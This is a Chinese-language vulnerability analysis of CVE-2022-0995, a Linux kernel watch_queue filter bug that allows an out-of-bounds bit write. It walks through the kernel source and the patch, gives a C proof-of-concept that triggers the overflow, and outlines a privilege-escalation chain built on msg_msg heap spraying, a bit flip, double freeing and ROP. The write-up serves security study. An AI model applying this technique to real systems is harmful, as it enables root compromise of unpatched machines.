22555:[漏洞分析] CVE-2022-0995 watch_queue 1bit “溢出“内核提权

CVE-2022-09095 watch_queue 1bit "溢出"内核提权

文章目录

  • CVE-2022-09095 watch_queue 1bit "溢出"内核提权
    • 漏洞简介
    • 环境搭建
    • 漏洞原理
      • 漏洞发生点
      • 查看补丁
      • 漏洞触发
    • 漏洞利用
      • 溢出方法
      • 后续利用(同CVE-2021-22555)
    • 参考

漏洞简介

漏洞编号: CVE-2022-0995

漏洞产品: linux kernel - pipe ioctl(pipeFd,IOC_WATCH_QUEUE_SET_FILTER,filter)

影响版本: ~ linux kernel 5.17-rc7

漏洞危害: pipe 的ioctl 功能IOC_WATCH_QUEUE_SET_FILTER 中存在堆溢出,可造成本地提权

源码获取:git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.13-5.13.0-35.40_20.04.1 --depth 1(获取的源码不一定是能跑通exp 的版本,只是有漏洞并且可以编译调试漏洞发生点)

环境搭建

根据曝光exp 的环境:ubuntu 21.10 ;内核版本 5.13.0-37-generic,使用ubuntu desktop 21.10虚拟机搭建exp复现环境:

apt-get install linux-image-5.13.0-37-genericrebootcd CVE-2022-0995-main/make./exploit

提权成功:

调试用docker 环境:chenaotian/cve-2022-0995

漏洞原理

漏洞发生点

目前网上对漏洞原理的描述非常少,根据exp 和补丁定位漏洞位置:

首先看到exp 中调用了pipe 的ioctl,功能选项是IOC_WATCH_QUEUE_SET_FILTER :

if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) { perror("pipe2()"); exit(1);}··· ···// Filter goif (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) { perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)"); goto err;}

找到内核中对应函数,先是入口pipe_ioctl:

linux-5.13\fs\pipe.c : 594 : pipe_ioctl

static long pipe_ioctl(struct file *filp, unsigned int cmd, unsigned long arg){struct pipe_inode_info *pipe = filp->private_data;int count, head, tail, mask;switch (cmd) {··· ··· ··· ···case IOC_WATCH_QUEUE_SET_FILTER:return watch_queue_set_filter(//调用漏洞函数watch_queue_set_filterpipe, (struct watch_notification_filter __user *)arg);··· ···default:return -ENOIOCTLCMD;}}

调用栈比较简单,直接根据IOC_WATCH_QUEUE_SET_FILTER 调用watch_queue_set_filter函数:

linux-5.13\kernel\watch_queue.c : 286 : watch_queue_set_filter

long watch_queue_set_filter(struct pipe_inode_info *pipe, struct watch_notification_filter __user *_filter){struct watch_notification_type_filter *tf;struct watch_notification_filter filter;struct watch_type_filter *q;struct watch_filter *wfilter;struct watch_queue *wqueue = pipe->watch_queue;int ret, nr_filter = 0, i;··· ··· //[1] 从用户空间获取用户传入的filters tf = memdup_user(_filter->filters, filter.nr_filters * sizeof(*tf)); ··· ···for (i = 0; i < filter.nr_filters; i++) {if ((tf[i].info_filter & ~tf[i].info_mask) || tf[i].info_mask & WATCH_INFO_LENGTH)goto err_filter;/* Ignore any unknown types */ /* sizeof(wfilter->type_filter)=0x10 * [2] 这里的判断是tf[i].type 不可以超过0x80 * 如果超过,则nr_filter不计数,后续根据nr_filter 来申请大小 */if (tf[i].type >= sizeof(wfilter->type_filter) * 8)continue;nr_filter++;//计数}/* Now we need to build the internal filter from only the relevant * user-specified filters. */ret = -ENOMEM; //[3] 由于struct watch_filter 是一个变长结构体,根据filters数量申请 //这里根据上面统计的filters 数量值nr_filter 申请大小wfilter = kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);if (!wfilter)goto err_filter;wfilter->nr_filters = nr_filter;q = wfilter->filters; //填充wfilter->filters 操作for (i = 0; i < filter.nr_filters; i++) { /* 跟上面判断不一致 * #ifdef CONFIG_64BIT * #define BITS_PER_LONG 64 * [4] 这里判断tf[i].type 不大于0x400 就可以操作 * 而上面申请内存时只有不大于0x80 的才计算在内 */if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)continue;q->type= tf[i].type;q->info_filter= tf[i].info_filter;q->info_mask= tf[i].info_mask;q->subtype_filter[0]= tf[i].subtype_filter[0]; //[5] __set_bit 的操作是,将参数2 偏移 参数1 位置的比特(bit) 置1__set_bit(q->type, wfilter->type_filter);q++;}··· ··· ··· ···}

首先看一眼相关结构体和宏:

#ifdef CONFIG_64BIT#define BITS_PER_LONG 64 //64位系统位64,每个long 类型的bit 数量#else#define BITS_PER_LONG 32#endif /* CONFIG_64BIT */struct watch_filter {//变长结构体union {struct rcu_headrcu;unsigned longtype_filter[2];/* Bitmask of accepted types */};u32nr_filters;/* Number of filters */struct watch_type_filter filters[]; //filters 数量可变};struct watch_type_filter {// size: 0x10enum watch_notification_type type;__u32subtype_filter[1];/* Bitmask of subtypes to filter on */__u32info_filter;/* Filter on watch_notification::info */__u32info_mask;/* Mask of relevant bits in info_filter */};struct watch_notification_filter {//保存用户传入的结构体__u32nr_filters;/* Number of filters */__u32__reserved;/* Must be 0 */struct watch_notification_type_filter filters[];};struct watch_notification_type_filter {__u32type;/* Type to apply filter to */__u32info_filter;/* Filter on watch_notification::info */__u32info_mask;/* Mask of relevant bits in info_filter */__u32subtype_filter[8];/* Bitmask of subtypes to filter on */};

根据代码中的注释,漏洞原理分析如下:

  • 根据用户传入一个struct watch_notification_filter 类型的 _filter,并使用nr_filters 成员来描述总共有多少filters(使用tf变量获取用户传入的filters)。但这些只是用户传入的filters ,内核是否使用还需要进一步判断。
  • 遍历用户传入的filters 即tf[i],判断每个tf[i].type 不能大于 sizeof(wfilter->type_filter) * 8 = 0x10 ,否则不算。只记录tf[i].type 合格的filters 数量,记为nr_filter。
  • 根据记录的合格filters 数量nr_filter ,使用kzalloc 申请变长结构体struct watch_filter为wfilter,其中wfilter->nr_filters[x]的长度x 就是刚统计的filters 数量。
  • 然后就要把用户输入的数据填入刚申请的结构体中,按理说这回也应该用相同的方法判断tf[i].type 是否合格,合格的填入,这样就能保证申请多少个,填入多少个。但这次的判断条件并不是 sizeof(wfilter->type_filter) * 8 = 0x10 ,而是sizeof(wfilter->type_filter) * BITS_PER_LONG = 0x400!
    • 这里打个比方,加入存在一个tf[x],他的tf[x].type=0x300,那么他在第一次统计数量判断的时候,并不满足 tf[x].type <= 0x10 ,所以不会被技术,申请空间的时候不会带他的份,但他在第二次填充判断的时候,却满足 tf[x].type <= 0x400 ,也就是说会把它算在内填充到 wfilter结构体中,换句话说,存在这种例子能使实际使用的内存空间大于申请的内存空间。存在堆溢出!
  • 准确的将这里应该算另一个漏洞,因为__set_bit 宏的操作是,将参数2偏移参数1位置的比特(bit) 置1,在该场景中就是将wfilter->type_filter偏移q->type的地方的bit 置1,但根据之前的判断,只要不大于0x400的q->type 都可以走到这里,也就是说,**这里这里可以将向后比较大的位置的一个bit 置1,这就不是连续的堆溢出了,属于范围内指定bit 篡改。**实际exp 主要利用的也是这里。
  • 查看补丁

    查看patch,发现统一了上下的判断规则:

    其中:

    enum watch_notification_type {WATCH_TYPE_META= 0,/* Special record */WATCH_TYPE_KEY_NOTIFY= 1,/* Key change event notification */WATCH_TYPE__NR= 2};

    也就是说,type只能从上面三种枚举中选择了。

    漏洞触发

    根据从exp中不难抠出可以触发溢出的poc:

    #define _GNU_SOURCE#include <sys/ioctl.h>#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <linux/watch_queue.h>typedef struct watch_notification_filter wnf_t;typedef struct watch_notification_type_filter wntf_t;int main() { int fds[2]; int nfilters = 10; wnf_t *filter = (wnf_t*)calloc(1, sizeof(wnf_t) + nfilters * sizeof(wntf_t)); if (!filter) { perror("calloc()"); exit(1); } filter->nr_filters = nfilters; for (int i = 0; i < nfilters; i++) { // choose kmalloc-96 if (i < 3) filter->filters[i].type = 1; else { filter->filters[i].type = 0x90; } } if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) { perror("pipe2()"); exit(1); } if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) { perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)"); exit(1); }}

    但不一定能跑崩内核,调试可以看到溢出,根据poc 内容,一共有10个filters,只有前三个filters 是合法的type(=1),后面的type 属于可以绕过检测的范围(=0x90);不会被计算,但在使用的时候会被使用。也就是说会越界0x70左右:

    结构体填充结束后,实际写的内容远远超过了结构体长度:

    漏洞利用

    参考exp:Bonfee/CVE-2022-0995

    使用的方法类似去年的CVE-2021-22555,堆越界写0 漏洞,可以参考:

    【kernel exploit】CVE-2021-22555 2字节堆溢出写0漏洞提权分析

    由于利用方法类似,这里长话短说

    溢出方法

    首先我们通过之前堆漏洞原理的描述,已知该漏洞存在两部分,堆溢出和一个大量偏移位置bit置1。堆溢出部分对溢出内容还是有一定限制的,所以这里exp 采用固定偏移位置置1来利用。一来只需要越界一次,传入数据比较好构造,二来可以直接构造成和CVE-2021-22555 相同的堆利用模型,后续过程直接抄作业即可。

    首先由于struct watch_filter 结构体变长,我们需要选定一个长度来进行后续利用,这里选择使用4个filters,其中3个合法filters ,一个非法用来溢出,那么含有3个合法filters的watch_filter 需要申请0x48 大小,属于kmalloc-96(0x60)。这样发生溢出(只溢出一个filters)之后也不会影响到后面的堆块内容,大概如下图所示:

    那么即使溢出也无法影响下一个堆块的内容,那如何利用呢?这里就是用前面提到的偏移位置bit 置1 操作,也就是__set_bit(q->type, wfilter->type_filter); 来进行漏洞利用,已知参数2 wfilter->type_filter是固定指向watch_filter 结构体开头,而q->type 为我们可控的用户输入,且范围属于[0x80,0x400)区间。也就是说我们可以把以下范围内任意一个bit 置1 的能力:

    那么假如下一个kmalloc-96我们布置成msg_msg 结构体的话,我们就可以篡改msg_msg 头部的m_list->next 指针,修改其中一个bit为1,让其指向其他消息队列的消息。这样就可以形成类似CVE-2021-22555 的堆布局构型了。

    后续利用(同CVE-2021-22555)

    首先用msg队列在内核里堆喷,每个msg队列放两个msg,第一个大小属于kmalloc-96(first msg),第二个大小kmalloc-1k(second msg),然后将任意一个队列里的first msg 释放(红色的)用于后续申请到watch_filter,如下图:

    释放之后,申请上文提到的3+1 filter(3合法1非法),其中非法filter 的type字段为我们要篡改的bit 相对watch_filter的偏移距离,这里选择0x30a,可以正好把地址相邻的下一个msg_msg 结构体的m_list->next指针篡改为+0x400,假如next指针的值是0x0000,则篡改之后为0x0400。让其指向另一个消息队列的second msg,大概如下图:

    如果该bit位本来就是1的话就什么也没发生,不过多试几次就行了。这样就做出了可以UAF的堆构型。有了这个模型之后,后续无论是任意地址写还是ROP都不是难事。我们把这个被两个first msg 同时指向的msg 成为msgA

    接下来就可以通过两个消息队列来对msgA进行两次释放,第一次释放后用sk_buff 占位。利用sk_buff 可以随时编辑的特性,反复修改sk_buff 和利用msgrcv 反复读取堆地址泄露出两个消息地址,该操作是防止第二次释放时链表指针不对在unlink 时异常:

  • 编辑sk_buff 修改msgA size成员,以越界读到下一个msg 的内容,获取下一个msg 的m_list->prev 指向的first msg,记为msgB
  • 再编辑sk_buff修改msgA size 和msgA msgseg next成员为刚泄露的msgB,这样该msgB 就成为了msgA 的msgseg,这样就可以泄露出msgB 的m_list->prev指针记为msgC,这样就拿到了两个合法msg 指针。
  • 然后再使用sk_buff编辑msgA 的m_list->next 和m_list->prev 为刚泄露的两个合法msg 指针,这样再次释放就不会unlink 时异常。然后再次释放msgA,使用pipe buf 占位,接下来泄露ROP一气呵成。

    具体技术参考文章也写的很详细了。

    参考

    exp:Bonfee/CVE-2022-0995

    bsauce:【kernel exploit】CVE-2021-22555 2字节堆溢出写0漏洞提权分析

    相关推荐

    相关文章